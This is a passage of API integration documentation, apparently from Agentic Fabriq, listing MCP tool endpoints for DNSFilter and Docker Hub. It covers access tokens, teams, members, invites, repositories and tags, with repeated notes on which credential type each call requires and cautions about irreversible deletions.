end_at, org_uuids, msp_uuid, excluded_org_uuids, category_ids, user_agent_uuids, agent_local_user_uuids, weekdays_only, search_id, size, sort_direction, app_name, app_executable_path, app_window_title. top_categories: start_at, end_at, org_uuids, msp_uuid, excluded_org_uuids, category_ids, user_agent_uuids, agent_local_user_uuids, weekdays_only, search_id, size, sort_direction, threats_only, web_categories. top_streaming: start_at, end_at, org_uuids, msp_uuid, excluded_org_uuids, category_ids, user_agent_uuids, agent_local_user_uuids, weekdays_only, search_id, size, sort_direction, app_name. top_risky_users: start_at, end_at, org_uuids, msp_uuid, excluded_org_uuids, category_ids, user_agent_uuids, agent_local_user_uuids, weekdays_only, search_id, size, sort_direction. top_active_clients: start_at, end_at, org_uuids, msp_uuid, excluded_org_uuids, category_ids, user_agent_uuids, agent_local_user_uuids, weekdays_only, search_id, size, sort_direction. top_ai_usage: start_at, end_at, ai_tool (required), org_uuids, msp_uuid, excluded_org_uuids, user_agent_uuids, agent_local_user_uuids, weekdays_only, search_id, size, sort_direction. When ai_tool=web: web_full_url, web_host. When ai_tool=app: app_name, app_executable_path, app_window_title. via POST /v2/cyber_sight/csv_exports/create POST /api/v1/dnsfilter/v2/cyber_sight/csv_exports/create. Scopes: api. dnsfilter_post_v2_dashboards (write) — Create a dashboard. via POST /v2/dashboards POST /api/v1/dnsfilter/v2/dashboards. Scopes: api. dnsfilter_post_v2_dashboards_by_id_link (write) — Linking a dashboard will add it to the list for the current user. via POST /v2/dashboards/{id}/link POST /api/v1/dnsfilter/v2/dashboards/{id}/link. Scopes: api. dnsfilter_post_v2_dashboards_by_id_make_private (write) — Make Private -- This will remove access to the dashboard for other users. via POST /v2/dashboards/{id}/make_private POST /api/v1/dnsfilter/v2/dashboards/{id}/make_private. Scopes: api. dnsfilter_post_v2_dashboards_by_id_make_public (write) — Make Public -- This will make it available to other users who are members in an organization the owning user is a member of. via POST /v2/dashboards/{id}/make_public POST /api/v1/dnsfilter/v2/dashboards/{id}/make_public. Scopes: api. dnsfilter_post_v2_dashboards_by_id_unlink (write) — Unlinking a dashboard will remove it from the list of dashboards for the current user. via POST /v2/dashboards/{id}/unlink POST /api/v1/dnsfilter/v2/dashboards/{id}/unlink. Scopes: api. dnsfilter_post_v2_networks_csv_export (write) — Creates a networks csv export record to track export of networks. via POST /v2/networks_csv_export POST /api/v1/dnsfilter/v2/networks_csv_export. Scopes: api. dnsfilter_put_v1_user_agent_cleanups_by_id (write) — Updates a user agent cleanup. via PUT /v1/user_agent_cleanups/{id} PUT /api/v1/dnsfilter/v1/user_agent_cleanups/{id}. Scopes: api. ================================================================================ ## Docker Hub URL: https://www.agenticfabriq.com/integrations/dockerhub Section: Integrated Tools Docker Hub — 40 MCP tools Provider key: dockerhub. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. dockerhub_delete_v2_access_tokens_by_uuid (write, destructive) — Delete a personal access token. DELETE /v2/access-tokens/{uuid}. Permanently revokes one personal access token. Every Docker CLI login, CI job and integration still using that token stops authenticating immediately, and Docker cannot re-issue the same value -- a replacement is a new token with a new value that has to be distributed. Irreversible. Confirm the uuid against the list call before calling this, and note that deleting the token THIS connection was made with disconnects the connection itself. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Docker serves the personal-access-token management API to a session token obtained by signing in with a PASSWORD. This integration never accepts a Docker password -- a connection holds an access token and nothing else -- and whether an ORGANIZATION access token reaches a user's PERSONAL tokens is unmeasured. So expect this operation to be unavailable on either credential a connection can carry. It is shipped rather than withheld because Docker's own 403 names the cause exactly, and because the organization-token side has not been disproved. DELETE /api/v1/dockerhub/v2/access-tokens/{uuid}. Scopes: api. dockerhub_delete_v2_invites_by_id (write, destructive) — Cancel an invite. DELETE /v2/invites/{id}. Withdraws a pending organization invitation, so the link in the invitee's email stops working. Irreversible: inviting them again is a new invite with a new id. The id comes from the pending-invites listing. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. DELETE /api/v1/dockerhub/v2/invites/{id}. Scopes: api. dockerhub_delete_v2_orgs_by_org_name_access_tokens_by_access_token_id (write, destructive) — Delete an organization access token. DELETE /v2/orgs/{org_name}/access-tokens/{access_token_id}. Permanently revokes one organization access token. Every pipeline, registry client and integration authenticating with it stops working immediately, and Docker cannot re-issue the same value. Irreversible. Read the token first to see which repositories it reaches before removing it -- and note that deleting the token THIS connection was made with disconnects the connection itself. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. DELETE /api/v1/dockerhub/v2/orgs/{org_name}/access-tokens/{access_token_id}. Scopes: api. dockerhub_delete_v2_orgs_by_org_name_groups_by_group_name (write, destructive) — Delete a team. DELETE /v2/orgs/{org_name}/groups/{group_name}. Removes the team from the organization. Every repository grant made to that team goes with it, so its members lose whatever access they held THROUGH the team -- while remaining members of the organization. Irreversible: re-creating a team of the same name gives it a new numeric id and no grants. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. DELETE /api/v1/dockerhub/v2/orgs/{org_name}/groups/{group_name}. Scopes: api. dockerhub_delete_v2_orgs_by_org_name_groups_by_group_name_members_by_username (write, destructive) — Remove a user from a team. DELETE /v2/orgs/{org_name}/groups/{group_name}/members/{username}. Takes one person out of one team. They lose every repository permission the team carried but stay a member of the organization and of any other team. Irreversible through this API; re-adding them is a separate call. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. DELETE /api/v1/dockerhub/v2/orgs/{org_name}/groups/{group_name}/members/{username}. Scopes: api. dockerhub_delete_v2_orgs_by_org_name_members_by_username (write, destructive) — Remove a member from the organization. DELETE /v2/orgs/{org_name}/members/{username}. Revokes a person's membership. They lose access to every private repository the organization owns and to every team they were in, immediately. Irreversible through this API -- restoring them means a fresh invite they must accept, and their team memberships are not restored with it. Removing the last owner can leave the organization unadministrable. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. DELETE /api/v1/dockerhub/v2/orgs/{org_name}/members/{username}. Scopes: api. dockerhub_get_v2_access_tokens (read) — List personal access tokens. GET /v2/access-tokens. Returns the Docker account's personal access tokens, one page at a time, each with its label, uuid, scopes, creation time, expiry, whether it is active and when it was last used. This is the inventory call: use it to find the uuid a later read, rename, deactivation or deletion names. The token VALUE is never returned here: Docker redacts it as `***` on every response after creation, and this integration redacts the field again on the way out so a spec omission cannot leak one. The two operations that DO mint and return a live token value are not shipped as tools at all. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Docker serves the personal-access-token management API to a session token obtained by signing in with a PASSWORD. This integration never accepts a Docker password -- a connection holds an access token and nothing else -- and whether an ORGANIZATION access token reaches a user's PERSONAL tokens is unmeasured. So expect this operation to be unavailable on either credential a connection can carry. It is shipped rather than withheld because Docker's own 403 names the cause exactly, and because the organization-token side has not been disproved. GET /api/v1/dockerhub/v2/access-tokens. Scopes: api. dockerhub_get_v2_access_tokens_by_uuid (read) — Get a personal access token. GET /v2/access-tokens/{uuid}. Returns one personal access token by uuid: its label, scopes, creation time, expiry, active flag and last use. The token VALUE is never returned here: Docker redacts it as `***` on every response after creation, and this integration redacts the field again on the way out so a spec omission cannot leak one. The two operations that DO mint and return a live token value are not shipped as tools at all. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Docker serves the personal-access-token management API to a session token obtained by signing in with a PASSWORD. This integration never accepts a Docker password -- a connection holds an access token and nothing else -- and whether an ORGANIZATION access token reaches a user's PERSONAL tokens is unmeasured. So expect this operation to be unavailable on either credential a connection can carry. It is shipped rather than withheld because Docker's own 403 names the cause exactly, and because the organization-token side has not been disproved. GET /api/v1/dockerhub/v2/access-tokens/{uuid}. Scopes: api. dockerhub_get_v2_auditlogs_by_account (read) — List audit log events. GET /v2/auditlogs/{account}. Returns the account's audit trail: who did what, to which object, when, and from where. Filter by `action` (use the audit-log actions call for the valid names), by `name` (the repository or organization the event is about), by `actor` (the user who triggered it) and by a `from`/`to` time window. Paged. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. GET /api/v1/dockerhub/v2/auditlogs/{account}. Scopes: api. dockerhub_get_v2_auditlogs_by_account_actions (read) — List audit log actions. GET /v2/auditlogs/{account}/actions. Returns the action names this account's audit log can record, grouped by the object they act on (repository, organization, team, billing, ...). Call this first: the names it returns are exactly the values the audit-log events call accepts in its `action` filter, and a filter value that is not one of them silently matches nothing. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. GET /api/v1/dockerhub/v2/auditlogs/{account}/actions. Scopes: api. dockerhub_get_v2_namespaces_by_namespace_repositories (read) — List repositories in a namespace. GET /v2/namespaces/{namespace}/repositories. Returns the repositories owned by one Docker user or organization, with each one's description, privacy, pull and star counts and last-updated time. Filter by partial `name`, order with `ordering`, and page with `page`/`page_size`. An empty `results` array is a real answer: it means the namespace owns no repository this credential can see. Note that Docker narrows this listing rather than refusing it when the credential lacks repository-list scope, so an unexpectedly short page is a scope question, not an outage. GET /api/v1/dockerhub/v2/namespaces/{namespace}/repositories. Scopes: api. dockerhub_get_v2_namespaces_by_namespace_repositories_by_repository (read) — Get a repository. GET /v2/namespaces/{namespace}/repositories/{repository}. Returns one repository: its descriptions, privacy, type, status, star and pull counts, affiliation and last-updated time. A repository that does not exist -- or that this credential cannot see, which for a private repository is the same answer -- gives `404 object not found`. Verified 2026-09-17. GET /api/v1/dockerhub/v2/namespaces/{namespace}/repositories/{repository}. Scopes: api. dockerhub_get_v2_namespaces_by_namespace_repositories_by_repository_tags (read) — List repository tags. GET /v2/namespaces/{namespace}/repositories/{repository}/tags. Returns the tags published in one repository, each with its digest, total size, last-pushed time, the user who pushed it and the per-architecture images behind it. Paged, up to 100 per page. Measured 2026-09-17: a repository that exists but has never been pushed to answers 200 with `count: 0` and an empty `results` array, while a repository that does not exist answers `404 object not found` -- so an empty page is a real answer about a real repository, not a missing one. GET /api/v1/dockerhub/v2/namespaces/{namespace}/repositories/{repository}/tags. Scopes: api. dockerhub_get_v2_namespaces_by_namespace_repositories_by_repository_tags_by_tag (read) — Read a repository tag. GET /v2/namespaces/{namespace}/repositories/{repository}/tags/{tag}. Returns one tag: its content digest, size, when it was last pushed and by whom, and the list of per-architecture images it resolves to (os, architecture, variant, digest, status). This is how you turn a moving tag such as `latest` into the immutable digest it currently points at. A tag that has never been pushed answers `404 object not found`. GET /api/v1/dockerhub/v2/namespaces/{namespace}/repositories/{repository}/tags/{tag}. Scopes: api. dockerhub_get_v2_orgs_by_name_access_tokens (read) — List organization access tokens. GET /v2/orgs/{name}/access-tokens. Returns the organization's access tokens one page at a time, each with its label, id, creator, creation time, expiry, active flag and last use. Organization access tokens are the credential that reaches this administration plane at all, so this is how you audit who holds one. The token value is not part of this response at all -- Docker's own schema has no field for it. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. GET /api/v1/dockerhub/v2/orgs/{name}/access-tokens. Scopes: api. dockerhub_get_v2_orgs_by_name_settings (read) — Get organization settings. GET /v2/orgs/{name}/settings. Returns the organization's Registry Access Management posture: whether image usage is restricted for its members, and if so whether Docker Official Images and Verified Publisher images are still allowed. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. GET /api/v1/dockerhub/v2/orgs/{name}/settings. Scopes: api. dockerhub_get_v2_orgs_by_org_name_access_tokens_by_access_token_id (read) — Get an organization access token. GET /v2/orgs/{org_name}/access-tokens/{access_token_id}. Returns one organization access token with the RESOURCES it may reach -- each a repository or organization path plus the scopes granted on it (`scope-image-pull`, `scope-image-push`, `scope-repository-create`, ...). That resource list is the token's real blast radius and is not in the list call. The token value is not returned. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. GET /api/v1/dockerhub/v2/orgs/{org_name}/access-tokens/{access_token_id}. Scopes: api. dockerhub_get_v2_orgs_by_org_name_groups (read) — List organization teams. GET /v2/orgs/{org_name}/groups. Returns the organization's teams (Docker calls them groups) with each one's numeric id, name, description and member count. The numeric id is what the repository-access grant needs. Narrow the list with `username` to find the teams one person is in, or with `search`. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. GET /api/v1/dockerhub/v2/orgs/{org_name}/groups. Scopes: api. dockerhub_get_v2_orgs_by_org_name_groups_by_group_name (read) — Get a team. GET /v2/orgs/{org_name}/groups/{group_name}. Returns one team by name, with its numeric id, description and member count. This is where the `group_id` the repository-access grant needs comes from. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. GET /api/v1/dockerhub/v2/orgs/{org_name}/groups/{group_name}. Scopes: api. dockerhub_get_v2_orgs_by_org_name_groups_by_group_name_members (read) — List team members. GET /v2/orgs/{org_name}/groups/{group_name}/members. Returns the people in one team, with their Docker ID, full name and email. Paged, and searchable by username, full name or email. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. GET /api/v1/dockerhub/v2/orgs/{org_name}/groups/{group_name}/members. Scopes: api. dockerhub_get_v2_orgs_by_org_name_invites (read) — List pending organization invites. GET /v2/orgs/{org_name}/invites. Returns the invitations sent but not yet accepted, each with its id, the invitee, the inviting user and the team the invitee would join. The ids it returns are what the cancel and resend calls name. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. GET /api/v1/dockerhub/v2/orgs/{org_name}/invites. Scopes: api. dockerhub_get_v2_orgs_by_org_name_members (read) — List organization members. GET /v2/orgs/{org_name}/members. Returns the people in an organization with their Docker ID, full name, email, role and whether their seat is active. Filter by `role` (`owner`, `editor`, `member`), by `type` (`member`, `invitee`, `all`) and by a `search` term, and optionally fold pending invites into the same page with `invites`. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. GET /api/v1/dockerhub/v2/orgs/{org_name}/members. Scopes: api. dockerhub_get_v2_orgs_by_org_name_members_export (read) — Export organization members as CSV. GET /v2/orgs/{org_name}/members/export. Returns the organization's whole membership as a CSV document rather than a JSON page -- the shape for a seat audit or a licence reconciliation. Not paged: it is the entire roster in one response, so it carries every member's email address. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. GET /api/v1/dockerhub/v2/orgs/{org_name}/members/export. Scopes: api. dockerhub_head_v2_namespaces_by_namespace_repositories_by_repository (read) — Check whether a repository exists. HEAD /v2/namespaces/{namespace}/repositories/{repository}. The headers-only form of the repository read: 200 means it exists and this credential can see it, 404 means it does not or cannot. Returns NO BODY -- this integration answers with an empty document and the status is the whole result. Verified 2026-09-17. HEAD /api/v1/dockerhub/v2/namespaces/{namespace}/repositories/{repository}. Scopes: api. dockerhub_head_v2_namespaces_by_namespace_repositories_by_repository_tags (read) — Check that a repository has tags. HEAD /v2/namespaces/{namespace}/repositories/{repository}/tags. The headers-only form of the tag listing: measured 2026-09-17, 200 means the repository EXISTS -- whether or not it has any tag, since the GET answers 200 with `count: 0` for an untagged one -- and 404 means the repository does not exist. Returns NO BODY at all -- this integration answers with an empty document and the status is the whole result. Use it when only the existence question matters; use the GET when you need the tags. HEAD /api/v1/dockerhub/v2/namespaces/{namespace}/repositories/{repository}/tags. Scopes: api. dockerhub_head_v2_namespaces_by_namespace_repositories_by_repository_tags_by_tag (read) — Check whether a tag exists. HEAD /v2/namespaces/{namespace}/repositories/{repository}/tags/{tag}. The headers-only form of the tag read: 200 means the tag is published, 404 means it is not. Returns NO BODY -- this integration answers with an empty document and the status is the whole result. Cheaper than the GET when you only need to know whether a build has already been pushed. HEAD /api/v1/dockerhub/v2/namespaces/{namespace}/repositories/{repository}/tags/{tag}. Scopes: api. dockerhub_patch_v2_access_tokens_by_uuid (write) — Update a personal access token. PATCH /v2/access-tokens/{uuid}. Renames a personal access token or deactivates it. Sending `is_active: false` stops the token authenticating without deleting it, which is the reversible half of revocation -- unlike the delete, a deactivated token can be switched back on. The token's SCOPES cannot be changed: Docker fixes them when the token is minted. The token VALUE is never returned here: Docker redacts it as `***` on every response after creation, and this integration redacts the field again on the way out so a spec omission cannot leak one. The two operations that DO mint and return a live token value are not shipped as tools at all. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Docker serves the personal-access-token management API to a session token obtained by signing in with a PASSWORD. This integration never accepts a Docker password -- a connection holds an access token and nothing else -- and whether an ORGANIZATION access token reaches a user's PERSONAL tokens is unmeasured. So expect this operation to be unavailable on either credential a connection can carry. It is shipped rather than withheld because Docker's own 403 names the cause exactly, and because the organization-token side has not been disproved. PATCH /api/v1/dockerhub/v2/access-tokens/{uuid}. Scopes: api. dockerhub_patch_v2_namespaces_by_namespace_repositories_by_repository_immutabletags (write) — Update repository immutable-tag rules. PATCH /v2/namespaces/{namespace}/repositories/{repository}/immutabletags. Turns immutable tags on or off for one repository and sets which tag names are protected, as a list of Go regular expressions. A tag matching a rule can never be overwritten or deleted once pushed, which is what makes a release tag trustworthy -- and is also why a mistaken rule is expensive: a build pipeline that re-pushes a protected tag starts failing, and the tag itself cannot be cleaned up. Both fields are REQUIRED and this replaces the whole rule list, so send the rules you want to keep. Test a rule against a tag name with the immutable-tag verify call before saving it. PATCH /api/v1/dockerhub/v2/namespaces/{namespace}/repositories/{repository}/immutabletags. Scopes: api. dockerhub_patch_v2_orgs_by_org_name_access_tokens_by_access_token_id (write) — Update an organization access token. PATCH /v2/orgs/{org_name}/access-tokens/{access_token_id}. Renames an organization access token, deactivates it, or changes WHICH repositories it reaches and with what scopes. The `resources` list is a replacement, not an addition: whatever you send becomes the token's entire reach, so send its current resources back alongside any new one, or the omitted ones are revoked. `is_active: false` suspends the token reversibly, unlike the delete. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. PATCH /api/v1/dockerhub/v2/orgs/{org_name}/access-tokens/{access_token_id}. Scopes: api. dockerhub_patch_v2_orgs_by_org_name_groups_by_group_name (write) — Update some of a team's details. PATCH /v2/orgs/{org_name}/groups/{group_name}. Changes the team's name, description or default role without having to resend the others -- the partial counterpart to the replace call, and the right one for a description-only edit. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. PATCH /api/v1/dockerhub/v2/orgs/{org_name}/groups/{group_name}. Scopes: api. dockerhub_post_v2_invites_bulk (write) — Invite people to an organization. POST /v2/invites/bulk. Invites several people at once by email address or Docker ID, optionally straight into a team and with a role. Each invitation sends a real email and, once accepted, consumes a paid seat -- so run it with `dry_run: true` first, which validates every invitee and changes nothing. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. POST /api/v1/dockerhub/v2/invites/bulk. Scopes: api. dockerhub_post_v2_invites_by_id_resend (write) — Resend an invite. PATCH /v2/invites/{id}/resend. Sends the invitation email again for a pending invite -- the call for an invitation that was never received or has been lost. The invite keeps its id. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. POST /api/v1/dockerhub/v2/invites/{id}/resend. Scopes: api. dockerhub_post_v2_namespaces_by_namespace_repositories (write) — Create a repository. POST /v2/namespaces/{namespace}/repositories. Creates an empty image repository in a user or organization namespace and returns it. It holds no image until something is pushed to it with the Docker CLI -- this API creates the repository record, not its contents, so a tag listing on a fresh one answers 404. `is_private` defaults to false, which means the repository and everything later pushed to it are visible to the whole internet: set it explicitly rather than relying on the default. Verified 2026-09-17. POST /api/v1/dockerhub/v2/namespaces/{namespace}/repositories. Scopes: api. dockerhub_post_v2_namespaces_by_namespace_repositories_by_repository_immutabletags_verify (write) — Verify an immutable-tag rule. POST /v2/namespaces/{namespace}/repositories/{repository}/immutabletags/verify. Checks one Go regular expression against the repository and reports which existing tags it would protect. Changes nothing -- it is the dry run for the immutable-tag update, and the right call to make before committing a rule that cannot be undone for tags already pushed. POST /api/v1/dockerhub/v2/namespaces/{namespace}/repositories/{repository}/immutabletags/verify. Scopes: api. dockerhub_post_v2_orgs_by_org_name_groups (write) — Create a team. POST /v2/orgs/{org_name}/groups. Creates an empty team in the organization and returns it with the numeric id that later calls use. A team is how repository access is granted to several people at once: create it, add members, then grant it access to repositories. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. POST /api/v1/dockerhub/v2/orgs/{org_name}/groups. Scopes: api. 